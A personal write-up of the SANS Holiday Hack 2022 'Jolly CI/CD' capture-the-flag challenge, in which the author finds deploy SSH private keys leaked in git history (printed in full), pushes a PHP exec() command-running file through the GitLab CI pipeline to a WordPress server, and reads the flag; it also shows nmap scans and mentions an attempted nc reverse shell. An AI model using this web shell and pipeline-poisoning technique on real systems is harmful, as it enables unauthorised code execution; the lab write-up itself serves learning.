SANS holiday hack challenge 2022 - Jolly CI/CD Link to heading
Some colleagues shared a hacking challenge organized by SANS and I decided to give it a go. There were quite a lot of interesting challenges with varying difficulty but there was one that stand out named ‘Jolly CI/CD’. This is my write up for this challenge.
Information gathering Link to heading
Starting up this challenge we are greeted with a terminal that remind us the previous one from the same room, called ‘Prison Escape’. We can still become root with sudo -i
but this time fdisk -l
shows no information and after messing around with the container it looks like it’s not possible to escape.
After speaking with ‘Tinsel Upatree’ we get a more clear idea of what our objectives are. As we are informed, Tinsel has set up a new CI/CD system where he can push changes and a Gitlab runner will pick them up and deploy them to production automatically. As he’s talking to us, he shares that the git repository is located at http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git.
Let’s try and clone this with
Success! It looks like we can successfully clone the repo and we can start digging around. Looking at the cloned folder
it’s clear that the hosted website is a Wordpress one. Since I’ve worked with Wordpress sites in the past, one file directly caught my attention: wp-config.php
. This file is one of the most important ones and usually contains passwords for connecting to the SQL database.
Unfortunately, the variables are populated by the docker environment that the Wordpress site is running.
define( ‘DB_NAME’, getenv_docker(‘WORDPRESS_DB_NAME’, ‘wordpress’) );
/** Database username */ define( ‘DB_USER’, getenv_docker(‘WORDPRESS_DB_USER’, ’example username’) );
/** Database password */ define( ‘DB_PASSWORD’, getenv_docker(‘WORDPRESS_DB_PASSWORD’, ’example password’) );
Looking a bit further down we can find the domain name of the Wordpress site:
Since curl
is available in the container, can make requests to the website but for now there is nothing interesting there.
Now, let’s have a look at the git history with git log
in case there is something interesting there. Commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 has an interesting description: ‘whoops’!
commit e19f653bde9ea3de6af21a587e41e7a909db1ca5 Author: knee-oh sporx@kringlecon.com Date: Tue Oct 25 13:42:54 2022 -0700
whoops
Using git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5 --name-only
shows us the files changed:
It looks like Tinsel Upatree accidentally pushed his deploy ssh keys to the repository! Running again the above command without –name-only we can clearly see the private and public keys:
grinchum-land:~/wordpress.flag.net.internal$ git diff abdea0ebb21b156c01f7533cea3b895c26198c98 e19f653bde9ea3de6af21a587e41e7a909db1ca5
diff –git a/.ssh/.deploy b/.ssh/.deploy deleted file mode 100644 index 3f7a9e3..0000000 — a/.ssh/.deploy +++ /dev/null @@ -1,7 +0,0 @@ ——BEGIN OPENSSH PRIVATE KEY—– -b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW -QyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4gAAAJiQFTn3kBU5 -9wAAAAtzc2gtZWQyNTUxOQAAACD+wLHSOxzr5OKYjnMC2Xw6LT6gY9rQ6vTQXU1JG2Qa4g -AAAEBL0qH+iiHi9Khw6QtD6+DHwFwYc50cwR0HjNsfOVXOcv7AsdI7HOvk4piOcwLZfDot -PqBj2tDq9NBdTUkbZBriAAAAFHNwb3J4QGtyaW5nbGVjb24uY29tAQ== ——END OPENSSH PRIVATE KEY—– diff –git a/.ssh/.deploy.pub b/.ssh/.deploy.pub deleted file mode 100644 index 8c0b43c..0000000 — a/.ssh/.deploy.pub +++ /dev/null @@ -1 +0,0 @@ -ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP7AsdI7HOvk4piOcwLZfDotPqBj2tDq9NBdTUkbZBri sporx@kringlecon.com
Let’s copy the keys to our local .ssh folder:
So far, we haven’t discovered any attack vector to the Wordpress site but let’s summarize what we know:
- The server url is http://wordpress.flag.net.internal
- The server is using PHP since it’s running a Wordpress site
- Tinsel Upatree pushed his private ssh key to the git repo
Using the above information one attack scenario is slowly formed: what if we could push updates to the git repo? Would it be possible to change PHP files or even create arbitrary ones and execute code on the remote server?
The last question is answered by looking at another important file, called .gitlab-ci.yml:
grinchum-land:~/wordpress.flag.net.internal$ cat .gitlab-ci.yml stages:
- deploy
deploy-job:
stage: deploy
environment: production
script:
- rsync -e “ssh -i /etc/gitlab-runner/hhc22-wordpress-deploy” –chown=www-data:www-data -atv –delete –progress ./ root@wordpress.flag.net.internal:/var/www/html
Whenever a change is pushed into the repository, GitLab Runner will run the script defined in this file which will copy the contents of the repo to the /var/www/html location on the production server.
Launching our attack Link to heading
Currently we cannot push changes to the git repo since the remote is using the http protocol:
grinchum-land:~/wordpress.flag.net.internal$ git remote -v
origin http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (fetch) origin http://gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git (push)
and we’d want to use the ssh one (since we have the ssh keys). We can either change the remote with git remote set-url origin ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
or clone again using git clone ssh://git@gitlab.flag.net.internal/rings-of-powder/wordpress.flag.net.internal.git
.
Once the remote origin points to the correct url, we can create a simple php file that will list all the files in a directory using the exec PHP function:
<?
$var = "hi\n";
exec('ls -lah /root/ 2>&1', $var);
foreach($var as $val)
{
echo $val;
echo "\n";
}
?>
We create a new file called info.php
, add the above code and push it to the repository:
Once the file is pushed, we wait a few seconds and use curl to perform a GET request:
Aha! A file called flag.txt under the /root folder. Let’s change our PHP file to execute cat /flag.txt
. Once we perform the same steps as before we can get our flag oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT
.
Various information discovered Link to heading
While I was searching for a possible attack vector I came across a lot of interesting information which I will summarize below. I’m pretty sure that there are other ways to get the flag but due to limited time on my side and since there is a great lack of motivation from the moment I found the flag I won’t spend time to explore all of them.
Scanning the network with nmap Link to heading
Scanning the subnet 172.18.0.1/20 using nmap, yields some interesting results. First, we get a list of the hosts that are up and running
Nmap scan report for 172.18.0.1 Host is up (0.000050s latency).
Nmap scan report for wordpress-db.local_docker_network (172.18.0.87) Host is up (0.000092s latency).
Nmap scan report for wordpress.local_docker_network (172.18.0.88) Host is up (0.000083s latency).
Nmap scan report for gitlab.local_docker_network (172.18.0.150) Host is up (0.000026s latency).
Nmap scan report for gitlab-runner.local_docker_network (172.18.1.149) Host is up (0.000018s latency).
Nmap scan report for postgresql.local_docker_network (172.18.1.200) Host is up (0.000044s latency).
Nmap scan report for redis.local_docker_network (172.18.2.87) Host is up (0.000044s latency).
and after scanning some of them a bit more thoroughly we can identify wich ports are open
sudo nmap -p- 172.18.0.87 -sS
Nmap scan report for wordpress-db.local_docker_network (172.18.0.87) Host is up (0.0000080s latency).
PORT STATE SERVICE 3306/tcp open mysql
Sensitive information Link to heading
Once we checkout to the commit that contains the deploy ssh keys, if we look at the wp-config.php
file, we can access some sensitive config information
Altering the script in .gitlab-ci.yml Link to heading
In theory, it would be possible to alter the script or add our own in the .gitlab-ci.yml file and gain access to the server. Though, I found it pretty slow to try and test things this way and since there was no easy way to get feedback whenever I broke something I put this attack aside. Some things I tried were to copy the .ssh keys of the GitRunner container and create a reverse shell using nc.